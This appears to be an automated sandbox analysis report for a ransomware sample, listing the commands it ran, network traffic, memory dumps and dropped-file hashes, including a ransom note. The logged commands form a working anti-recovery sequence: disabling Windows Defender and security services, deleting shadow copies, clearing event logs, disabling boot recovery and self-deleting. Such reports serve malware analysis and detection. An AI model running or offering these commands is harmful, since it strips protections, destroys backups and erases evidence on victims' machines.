"C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_12cdb" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_12cdb" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_12cdb" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\SYSTEM32\notepad.exe

notepad.exe C:\rFSH_HOW_TO_DECRYPT.txt

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
NL 40.119.148.38:123 time.windows.com udp

Files

memory/1332-115-0x0000000000000000-mapping.dmp

memory/4084-116-0x0000000000000000-mapping.dmp

memory/4080-117-0x0000000000000000-mapping.dmp

memory/2000-118-0x0000000000000000-mapping.dmp

memory/1800-119-0x0000000000000000-mapping.dmp

memory/2712-120-0x0000000000000000-mapping.dmp

memory/1548-121-0x0000000000000000-mapping.dmp

memory/2720-122-0x0000000000000000-mapping.dmp

memory/1176-123-0x0000000000000000-mapping.dmp

memory/2196-124-0x0000000000000000-mapping.dmp

memory/440-125-0x0000000000000000-mapping.dmp

memory/3484-126-0x0000000000000000-mapping.dmp

memory/1412-127-0x0000000000000000-mapping.dmp

memory/1752-128-0x0000000000000000-mapping.dmp

memory/2736-129-0x0000000000000000-mapping.dmp

memory/1892-130-0x0000000000000000-mapping.dmp

memory/2600-131-0x0000000000000000-mapping.dmp

memory/3828-132-0x0000000000000000-mapping.dmp

memory/3776-133-0x0000000000000000-mapping.dmp

memory/3724-134-0x0000000000000000-mapping.dmp

memory/884-135-0x0000000000000000-mapping.dmp

memory/3860-136-0x0000000000000000-mapping.dmp

memory/960-137-0x0000000000000000-mapping.dmp

memory/2064-138-0x0000000000000000-mapping.dmp

memory/2440-139-0x0000000000000000-mapping.dmp

memory/1512-140-0x0000000000000000-mapping.dmp

memory/1736-141-0x0000000000000000-mapping.dmp

memory/2008-142-0x0000000000000000-mapping.dmp

memory/2176-143-0x0000000000000000-mapping.dmp

memory/2388-144-0x0000000000000000-mapping.dmp

memory/832-145-0x0000000000000000-mapping.dmp

memory/3948-146-0x0000000000000000-mapping.dmp

memory/3740-147-0x0000000000000000-mapping.dmp

memory/980-148-0x0000000000000000-mapping.dmp

memory/1796-149-0x0000000000000000-mapping.dmp

memory/1692-150-0x0000000000000000-mapping.dmp

memory/3980-151-0x0000000000000000-mapping.dmp

memory/2560-152-0x0000000000000000-mapping.dmp

memory/3184-153-0x0000000000000000-mapping.dmp

memory/1984-154-0x0000000000000000-mapping.dmp

memory/364-155-0x0000000000000000-mapping.dmp

memory/2712-156-0x0000000000000000-mapping.dmp

memory/1184-157-0x0000000000000000-mapping.dmp

memory/1256-158-0x0000000000000000-mapping.dmp

memory/1088-159-0x0000000000000000-mapping.dmp

memory/1328-160-0x0000000000000000-mapping.dmp

memory/1288-161-0x0000000000000000-mapping.dmp

memory/3836-162-0x0000000000000000-mapping.dmp

memory/1096-163-0x0000000000000000-mapping.dmp

memory/616-164-0x0000000000000000-mapping.dmp

memory/3088-165-0x0000000000000000-mapping.dmp

memory/388-166-0x0000000000000000-mapping.dmp

memory/844-167-0x0000000000000000-mapping.dmp

memory/2908-168-0x0000000000000000-mapping.dmp

memory/1368-169-0x0000000000000000-mapping.dmp

memory/1668-170-0x0000000000000000-mapping.dmp

memory/876-171-0x0000000000000000-mapping.dmp

memory/2152-172-0x0000000000000000-mapping.dmp

memory/2276-173-0x0000000000000000-mapping.dmp

memory/2972-174-0x0000000000000000-mapping.dmp

memory/1972-175-0x0000000000000000-mapping.dmp

memory/4040-176-0x0000000000000000-mapping.dmp

memory/2956-177-0x0000000000000000-mapping.dmp

memory/3944-178-0x0000000000000000-mapping.dmp

memory/3044-179-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-180-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-181-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-182-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-183-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-184-0x000001D0D6B40000-0x000001D0D6B62000-memory.dmp

memory/3044-185-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-186-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-187-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-188-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-189-0x000001D0D8E30000-0x000001D0D8EA6000-memory.dmp

memory/3044-190-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-194-0x000001D0D6BD0000-0x000001D0D6BD2000-memory.dmp

memory/3044-195-0x000001D0D6BD3000-0x000001D0D6BD5000-memory.dmp

memory/3044-196-0x000001D0D6BD6000-0x000001D0D6BD8000-memory.dmp

memory/3044-217-0x000001D0D6BD8000-0x000001D0D6BD9000-memory.dmp

memory/3044-218-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/3044-219-0x000001D0BCC70000-0x000001D0BCC72000-memory.dmp

memory/2952-221-0x000001B835550000-0x000001B835552000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

memory/2952-222-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-223-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-224-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-225-0x000001B837010000-0x000001B837032000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f870881943d24780f2dbf4e977e6d7de
SHA1 aa50b904f589b23167f312145965ea24fb5fd704
SHA256 a4000e29572e1c189ac881d3780257389b1adcdfc92d4546785d51e1169eab31
SHA512 d8535bcf40c33eafa3903a980cb0777cd32af833268f8d512a9f4fef5856c8208a7d57b197dc6829dfeaa8061cae59822e219954f83dc5028a6805fd59d54875

memory/2952-227-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-228-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-229-0x000001B84F740000-0x000001B84F7B6000-memory.dmp

memory/2952-230-0x000001B835550000-0x000001B835552000-memory.dmp

memory/2952-254-0x000001B835840000-0x000001B835842000-memory.dmp

memory/2952-255-0x000001B835843000-0x000001B835845000-memory.dmp

memory/2952-256-0x000001B835846000-0x000001B835848000-memory.dmp

memory/2952-258-0x000001B835848000-0x000001B835849000-memory.dmp

C:\rFSH_HOW_TO_DECRYPT.txt

MD5 9feb836dd50f68cbf9e87dad21a2fbc4
SHA1 f995609d7ea8a22383c8f28e2ac9b657fa767019
SHA256 773b3349fdbb3a90decde363815564f1eb0be1549650ec3cfd3f785f27e3d88e
SHA512 123db92c2616a2f913c91c6811cf8a375b69b3d71d40ab2633ca298cfda0aa863a3a3f106096f01cbfa01b7f0e56693babf04b1f7f0d7e90b405c9cf54147748